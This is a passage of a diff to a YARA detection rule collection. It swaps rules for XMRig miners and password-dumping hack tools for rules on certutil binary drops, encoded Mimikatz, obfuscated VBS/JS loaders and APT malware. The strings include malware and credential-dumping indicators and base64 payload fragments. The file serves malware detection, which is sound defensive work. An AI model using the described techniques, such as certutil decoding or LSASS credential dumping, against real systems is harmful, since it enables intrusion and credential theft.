-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "532e602dfc8e44326e381d0e2a189b60bc4d4f2b310169767b2326e01606a542"
+		id = "ef919a63-9a29-5624-a084-b92e3578e3a6"
+		date = "2017-04-21"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/general_cloaking.yar#L71-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6fe18ee727a836c0baaac4dbbffdb9f50065f56a4c6eeee7e54792a8a66229de"
 		score = 75
 		quality = 85
 		tags = "HIGHVOL, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5c13a274adb9590249546495446bb6be5f2a08f9dcd2fc8a2049d9dc471135c0"
-		hash2 = "08b55f9b7dafc53dfc43f7f70cdd7048d231767745b76dc4474370fb323d7ae7"
-		hash3 = "f3f2703a7959183b010d808521b531559650f6f347a5830e47f8e3831b10bad5"
-		hash4 = "0972ea3a41655968f063c91a6dbd31788b20e64ff272b27961d12c681e40b2d2"
 
 	strings:
-		$s1 = "'h' hashrate, 'p' pause, 'r' resume" fullword ascii
-		$s2 = "--cpu-affinity" ascii
-		$s3 = "set process affinity to CPU core(s), mask 0x3 for cores 0 and 1" ascii
-		$s4 = "password for mining server" fullword ascii
-		$s5 = "XMRig/%s libuv/%s%s" fullword ascii
+		$s1 = "TVpTAQEAAAAEAAAA//8AALgAAAA" wide ascii
+		$s2 = "TVoAAAAAAAAAAAAAAAAAAAAAAAA" wide ascii
+		$s3 = "TVqAAAEAAAAEABAAAAAAAAAAAAA" wide ascii
+		$s4 = "TVpQAAIAAAAEAA8A//8AALgAAAA" wide ascii
+		$s5 = "TVqQAAMAAAAEAAAA//8AALgAAAA" wide ascii
+		$fp1 = "BAM Management class library"
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and filesize <10MB and 2 of them
+		uint16(0)==0x5a4d and filesize <5000KB and 1 of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_XMRIG_Monero_Miner_Config : FILE
+rule SIGNATURE_BASE_Binary_Drop_Certutil : FILE
 {
 	meta:
-		description = "Auto-generated rule - from files config.json, config.json"
+		description = "Drop binary as base64 encoded cert trick"
 		author = "Florian Roth (Nextron Systems)"
-		id = "374efe7f-9ef2-5974-8e24-f749183ab2d0"
-		date = "2018-01-04"
+		id = "19791e51-d041-524d-80fa-9f3ec54eb084"
+		date = "2015-07-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/xmrig/xmrig/releases"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pua_xmrig_monero_miner.yar#L35-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5df14af366cdb0a5bf6fd88b50876fd78abfe0b795cf10af8fab0d23a54f700f"
-		score = 75
+		reference = "https://goo.gl/9DNn8q"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/general_cloaking.yar#L92-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3e2b62442b5da6ab887e1eb03cdd44932651fa51ce11e87e6fc29015e708d2f3"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "031333d44a3a917f9654d7e7257e00c9d961ada3bee707de94b7c7d06234909a"
-		hash2 = "409b6ec82c3bdac724dae702e20cb7f80ca1e79efa4ff91212960525af016c41"
 
 	strings:
-		$s2 = "\"cpu-affinity\": null,   // set process affinity to CPU core(s), mask \"0x3\" for cores 0 and 1" fullword ascii
-		$s5 = "\"nicehash\": false                  // enable nicehash/xmrig-proxy support" fullword ascii
-		$s8 = "\"algo\": \"cryptonight\",  // cryptonight (default) or cryptonight-lite" fullword ascii
+		$s0 = "echo -----BEGIN CERTIFICATE----- >" ascii
+		$s1 = "echo -----END CERTIFICATE----- >>" ascii
+		$s2 = "certutil -decode " ascii
 
 	condition:
-		( uint16(0)==0x0a7b or uint16(0)==0x0d7b) and filesize <5KB and 1 of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_PUA_LNX_XMRIG_Cryptominer : FILE
+rule SIGNATURE_BASE_Stegokatz : FILE
 {
 	meta:
-		description = "Detects XMRIG CryptoMiner software"
+		description = "Encoded Mimikatz in other file types"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bbdeff2e-68cc-5bbe-b843-3cba9c8c7ea8"
-		date = "2018-06-28"
-		modified = "2023-01-06"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pua_xmrig_monero_miner.yar#L53-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "501bc5b2d38882f48d1ef972dbbd379afb89f2e7c9bf69192c7bee2e19384816"
-		score = 75
+		id = "78868bb0-af69-573d-afd2-350a46f69137"
+		date = "2015-09-11"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/jWPBBY"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/general_cloaking.yar#L109-L123"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "091b07220d2a89822aa382edcecf5869d463e375747cc41f52417e66ccf0e2da"
+		score = 70
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "10a72f9882fc0ca141e39277222a8d33aab7f7a4b524c109506a407cd10d738c"
 
 	strings:
-		$x1 = "number of hash blocks to process at a time (don't set or 0 enables automatic selection o" fullword ascii
-		$s2 = "'h' hashrate, 'p' pause, 'r' resume, 'q' shutdown" fullword ascii
-		$s3 = "* THREADS:      %d, %s, aes=%d, hf=%zu, %sdonate=%d%%" fullword ascii
-		$s4 = ".nicehash.com" ascii
+		$s1 = "VC92Ny9TSXZMNk5jLy8vOUlqUTFVRlFNQTZMLysvdjlJaTh2L0ZUNXJBUUJJaTFRa1NFaUx6K2hWSS8vL1NJME44bklCQU9pZC92Ny9USTJjSkpBQUFBQXp3RW1MV3hCSmkyc1lTWXR6S0VtTDQxL0R6TXhNaTl4SmlWc0lUWWxMSUUySlF4aFZWbGRCVkVGVlFWWkJWMGlCN1BBQUFBQklnMlFrYUFDNE1BQUFBRW1MNkVTTmNPQ0pSQ1JnaVVRa1pFbU5RN0JKaTlsTWpRWFBGQU1BU0ls" ascii
+		$s2 = "Rpd3ovN3FlalVtNklLQ0xNNGtOV1BiY0VOVHROT0Zud25CWGN0WS9BcEdMR28rK01OWm85Nm9xMlNnY1U5aTgrSTBvNkFob1FOTzRHQWdtUElEVmlqald0Tk90b2FmN01ESWJUQkF5T0pYbTB4bFVHRTBZWEFWOXVoNHBkQnRrS0VFWWVBSEE2TDFzU0c5a2ZFTEc3QWd4WTBYY1l3ZzB6QUFXS09JZE9wQVhEK3lnS3lsR3B5Q1ljR1NJdFNseGZKWUlVVkNFdEZPVjRJUldERUl1QXpKZ2pCQWdsd0Va" ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <8000KB and (1 of ($x*) or 2 of them )
+		filesize <1000KB and 1 of them
 }
-rule SIGNATURE_BASE_SUSP_XMRIG_String : FILE
+rule SIGNATURE_BASE_Obfuscated_VBS_April17 : FILE
 {
 	meta:
-		description = "Detects a suspicious XMRIG crypto miner executable string in filr"
+		description = "Detects cloaked Mimikatz in VBS obfuscation"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8c6f3e6e-df2a-51b7-81b8-21cd33b3c603"
-		date = "2018-12-28"
+		id = "ca60b885-bb56-55ee-a2b3-dea6958883c2"
+		date = "2017-04-21"
 		modified = "2023-12-05"
 		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/pua_xmrig_monero_miner.yar#L72-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d2c3145c50939e7f407125f7b9312161724b7b1a6fcbf7e27d049e49e982c7e9"
-		score = 65
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/general_cloaking.yar#L125-L137"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "590dca22a4fcbc2bbfb4358c53f7cb6c06824970139cca251c4cf1bd435817b0"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "eb18ae69f1511eeb4ed9d4d7bcdf3391a06768f384e94427f4fc3bd21b383127"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "xmrig.exe" fullword ascii
+		$s1 = "::::::ExecuteGlobal unescape(unescape(" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
+		filesize <500KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Windowscredentialeditor
+rule SIGNATURE_BASE_Obfuscated_JS_April17 : FILE
 {
 	meta:
-		description = "Windows Credential Editor"
-		author = "Florian Roth"
-		id = "1542c6e4-36b2-5272-85d0-43226869b43e"
-		date = "2023-12-05"
+		description = "Detects cloaked Mimikatz in JS obfuscation"
+		author = "Florian Roth (Nextron Systems)"
+		id = "44abd2c0-5f8d-5a8c-b282-a09853e12054"
+		date = "2017-04-21"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L20-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "531a0bdc893d89b1c14deee11df95b430051cef07744a15b5d606e1c5378db97"
-		score = 90
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/general_cloaking.yar#L139-L153"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c75bf0ad8dd35fabbaedb54c2630249497edbb215b6ce2b707e32f82e8fb8f56"
+		score = 75
 		quality = 85
-		tags = ""
-		threat_level = 10
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "extract the TGT session key"
-		$b = "Windows Credentials Editor"
+		$s1 = "\";function Main(){for(var " ascii
+		$s2 = "=String.fromCharCode(parseInt(" ascii
+		$s3 = "));(new Function(" ascii
 
 	condition:
-		all of them
+		filesize <500KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Amplia_Security_Tool : FILE
+rule SIGNATURE_BASE_Apolmy_Privesc_Trojan : FILE
 {
 	meta:
-		description = "Detects Amplia Security Tool like Windows Credential Editor"
-		author = "Florian Roth"
-		id = "4ad83f34-561d-53ce-9766-e21700354da7"
-		date = "2013-01-01"
-		modified = "2023-02-14"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L34-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ca32d8df0011f23922c6566b28aa55b0756d5b67bf3db8908b206b1038bb1f2"
-		score = 60
+		description = "Apolmy Privilege Escalation Trojan used in APT Terracotta"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2f3f496b-ebfe-5a6e-89ad-a24af6378fd7"
+		date = "2015-08-04"
+		modified = "2023-12-05"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_terracotta.yar#L11-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d"
+		logic_hash = "8cce828806d5829735d6ac8d28a48c9b016b96b4370b2f3ac139799a9fe13c4a"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		nodeepdive = 1
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "Amplia Security"
-		$c = "getlsasrvaddr.exe"
-		$d = "Cannot get PID of LSASS.EXE"
-		$e = "extract the TGT session key"
-		$f = "PPWDUMP_DATA"
+		$s1 = "[%d] Failed, %08X" fullword ascii
+		$s2 = "[%d] Offset can not fetched." fullword ascii
+		$s3 = "PowerShadow2011" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (2 of them ) or 3 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Pwdump
+rule SIGNATURE_BASE_Mithozhan_Trojan : FILE
 {
 	meta:
-		description = "PwDump 6 variant"
-		author = "Marc Stroebel"
-		id = "e557e548-53e8-5098-93d4-8e899384e67c"
-		date = "2014-04-24"
+		description = "Mitozhan Trojan used in APT Terracotta"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5e2b4e08-1a35-5eb0-8c25-a73d45b0e279"
+		date = "2015-08-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L58-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a998d16f84e8689f182f6665ad165c6ff19e25d3e52acc10ca4cc6fe54ba354f"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_terracotta.yar#L29-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8553b945e2d4b9f45c438797d6b5e73cfe2899af1f9fd87593af4fd7fb51794a"
+		logic_hash = "a7beb030368cc6e1119617991b68e6fa1bf2d1f6eee28e83fef7862313f19d30"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "Usage: %s [-x][-n][-h][-o output_file][-u user][-p password][-s share] machineNa"
-		$s6 = "Unable to query service status. Something is wrong, please manually check the st"
-		$s7 = "pwdump6 Version %s by fizzgig and the mighty group at foofus.net" fullword
+		$s1 = "adbrowser" fullword wide
+		$s2 = "IJKLlGdmaWhram0vn36BgIOChYR3L45xcHNydXQvhmloa2ptbH8voYCDTw==" fullword ascii
+		$s3 = "EFGHlGdmaWhrL41sf36BgIOCL6R3dk8=" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Pscan_Portscan_1
+rule SIGNATURE_BASE_Remoteexec_Tool : FILE
 {
 	meta:
-		description = "PScan - Port Scanner"
-		author = "F. Roth"
-		id = "54997776-644b-5a72-b08c-7174b7dc7f66"
-		date = "2023-12-05"
+		description = "Remote Access Tool used in APT Terracotta"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c3262147-3455-554c-88fc-b523352efe7f"
+		date = "2015-08-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L74-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c624fcdf28506b551bf7b36883d95b279a7c56322337a0acafd91205659c92cc"
-		score = 50
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_terracotta.yar#L47-L65"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a550131e106ff3c703666f15d55d9bc8c816d1cb9ac1b73c2e29f8aa01e53b78"
+		logic_hash = "951cc65e14c2ff035ccc06d080730b1c25208caa1d30129074a6150557a5cebe"
+		score = 75
 		quality = 85
-		tags = ""
-
-	strings:
-		$a = "00050;0F0M0X0a0v0}0"
-		$b = "vwgvwgvP76"
-		$c = "Pr0PhOFyP"
-
-	condition:
-		all of them
-}
-import "pe"
-
-rule SIGNATURE_BASE_Hacktool_Samples
-{
-	meta:
-		description = "Hacktool"
-		author = "Florian Roth"
-		id = "ecacf84a-f66c-5c21-ae4b-fd9bfb5be384"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L88-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0064950d88eccbe670cd1dc70861d093c7f49f8f10e984aef4cfb4bcc94e4645"
-		score = 50
-		quality = 83
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "Unable to uninstall the fgexec service"
-		$b = "Unable to set socket to sniff"
-		$c = "Failed to load SAM functions"
-		$d = "Dump system passwords"
-		$e = "Error opening sam hive or not valid file"
-		$f = "Couldn't find LSASS pid"
-		$g = "samdump.dll"
-		$h = "WPEPRO SEND PACKET"
-		$i = "WPE-C1467211-7C89-49c5-801A-1D048E4014C4"
-		$j = "Usage: unshadow PASSWORD-FILE SHADOW-FILE"
-		$k = "arpspoof\\Debug"
-		$l = "Success: The log has been cleared"
-		$m = "clearlogs [\\\\computername"
-		$n = "DumpUsers 1."
-		$o = "dictionary attack with specified dictionary file"
-		$p = "by Objectif Securite"
-		$q = "objectif-securite"
-		$r = "Cannot query LSA Secret on remote host"
-		$s = "Cannot write to process memory on remote host"
-		$t = "Cannot start PWDumpX service on host"
-		$u = "usage: %s <system hive> <security hive>"
-		$v = "username:domainname:LMhash:NThash"
-		$w = "<server_name_or_ip> | -f <server_list_file> [username] [password]"
-		$x = "Impersonation Tokens Available"
-		$y = "failed to parse pwdump format string"
-		$z = "Dumping password"
+		$s0 = "cmd.exe /q /c \"%s\"" fullword ascii
+		$s1 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+		$s2 = "This is a service executable! Couldn't start directly." fullword ascii
+		$s3 = "\\\\.\\pipe\\TermHlp_communicaton" fullword ascii
+		$s4 = "TermHlp_stdout" fullword ascii
+		$s5 = "TermHlp_stdin" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <75KB and 4 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Fierce2
+rule SIGNATURE_BASE_Liudoor_Malware_1 : FILE
 {
 	meta:
-		description = "This signature detects the Fierce2 domain scanner"
+		description = "Liudoor Trojan used in Terracotta APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "08a72151-48c2-513b-995f-be0d5acba7dd"
-		date = "2014-01-07"
+		id = "ebd5833e-1f5c-5166-aaba-d0be64829e6c"
+		date = "2015-08-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L126-L139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "05502827dd5d1903507fd1e176d518516a5c1965fb4e51ea26b1a05eb0dce3d2"
-		score = 60
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_terracotta.yar#L69-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ef9fcc5df910e796d8b015396cf37614982ebbf9be6f6a4a8d271d4263a36a9"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc"
+		hash2 = "4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5"
+		hash3 = "ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb"
 
 	strings:
-		$s1 = "$tt_xml->process( 'end_domainscan.tt', $end_domainscan_vars,"
+		$s1 = "svchostdllserver.dll" fullword ascii
+		$s2 = "SvcHostDLL: RegisterServiceCtrlHandler %S failed" fullword ascii
+		$s3 = "\\nbtstat.exe" ascii
+		$s4 = "DataVersionEx" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <150KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Ncrack
+rule SIGNATURE_BASE_Liudoor_Malware_2 : FILE
 {
 	meta:
-		description = "This signature detects the Ncrack brute force tool"
+		description = "Liudoor Trojan used in Terracotta APT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c1c56ee9-7f76-5440-b0e0-86e372c53340"
-		date = "2014-01-07"
+		id = "30b9d727-ec77-5ead-80dd-6d442478e78b"
+		date = "2015-08-04"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L141-L154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a42bfaefb873a10821bcc06db109d8ab20daa8c8ac0b6cfb245d2ee339f318bb"
-		score = 60
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_terracotta.yar#L91-L108"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12cc72fb147f2d580f9f9e2a9bdfbec3f7b0e977871a27ccc941cd0b1aaa634c"
+		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "f3fb68b21490ded2ae7327271d3412fbbf9d705c8003a195a705c47c98b43800"
+		hash2 = "e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e"
 
 	strings:
-		$s1 = "NcrackOutputTable only supports adding up to 4096 to a cell via"
+		$s0 = "svchostdllserver.dll" fullword ascii
+		$s1 = "Lpykh~mzCCRv|mplpykCCHvq{phlCC\\jmmzqkIzmlvpqCC" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sqlmap
+rule SIGNATURE_BASE_APT15_Malware_Mar18_Royalcli : FILE
 {
 	meta:
-		description = "This signature detects the SQLMap SQL injection tool"
+		description = "Detects malware from APT 15 report by NCC Group"
 		author = "Florian Roth (Nextron Systems)"
-		id = "55a72fe6-f82d-5d55-842f-5d7e1cfcc9fa"
-		date = "2014-01-07"
+		id = "165bfa6c-1a8d-5628-8c35-da4e4a2ae04f"
+		date = "2018-03-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L156-L169"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9c248c856c3d91a282012489b53dc9e15569e1bb1a5c9f5e3c7938f7ce0c3157"
-		score = 60
+		reference = "https://goo.gl/HZ5XMN"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L13-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "27fb5e8ff299201d1d13f4a45c401570f76ddfa4c3c1153eff50187170ada06e"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
 
 	strings:
-		$s1 = "except SqlmapBaseException, ex:"
+		$s1 = "\\Release\\RoyalCli.pdb" ascii
+		$s2 = "%snewcmd.exe" fullword ascii
+		$s3 = "Run cmd error %d" fullword ascii
+		$s4 = "%s~clitemp%08x.ini" fullword ascii
+		$s5 = "run file failed" fullword ascii
+		$s6 = "Cmd timeout %d" fullword ascii
+		$s7 = "2 %s  %d 0 %d" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <200KB and 2 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_HKTL_Portscanner_Simple_Jan14
+rule SIGNATURE_BASE_APT15_Malware_Mar18_Royaldns : FILE
 {
 	meta:
-		description = "Auto-generated rule on file PortScanner.exe"
-		author = "yarGen Yara Rule Generator by Florian Roth"
-		id = "3e8960ce-0428-51e1-b992-4fa09fee8520"
-		date = "2023-12-05"
+		description = "Detects malware from APT 15 report by NCC Group"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c2f519db-2750-53ce-ae18-697ea041faaf"
+		date = "2018-03-10"
 		modified = "2023-12-05"
-		old_rule_name = "PortScanner"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L171-L183"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b381b9212282c0c650cb4b0323436c63"
-		logic_hash = "c69269b227d46b5b970cfc094b3154b0a533b439b8ed492a2059025bc96d17a0"
+		reference = "https://goo.gl/HZ5XMN"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt15.yar#L34-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d42f48d7d816c0b0ea05145e9dd43b1b2589f3131bf286e1b39c0efaf1c6fac"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
 
 	strings:
-		$s0 = "Scan Ports Every"
-		$s3 = "Scan All Possible Ports!"
+		$x1 = "del c:\\windows\\temp\\r.exe /f /q" fullword ascii
+		$x2 = "%s\\r.exe" fullword ascii
+		$s1 = "rights.dll" fullword ascii
+		$s2 = "\"%s\">>\"%s\"\\s.txt" fullword ascii
+		$s3 = "Nwsapagent" fullword ascii
+		$s4 = "%s\\r.bat" fullword ascii
+		$s5 = "%s\\s.txt" fullword ascii
+		$s6 = "runexe" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and ((pe.exports("RunInstallA") and pe.exports("RunUninstallA")) or 1 of ($x*) or 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Domainscanv1_0
+rule SIGNATURE_BASE_APT15_Malware_Mar18_BS2005 : FILE
 {
 	meta:
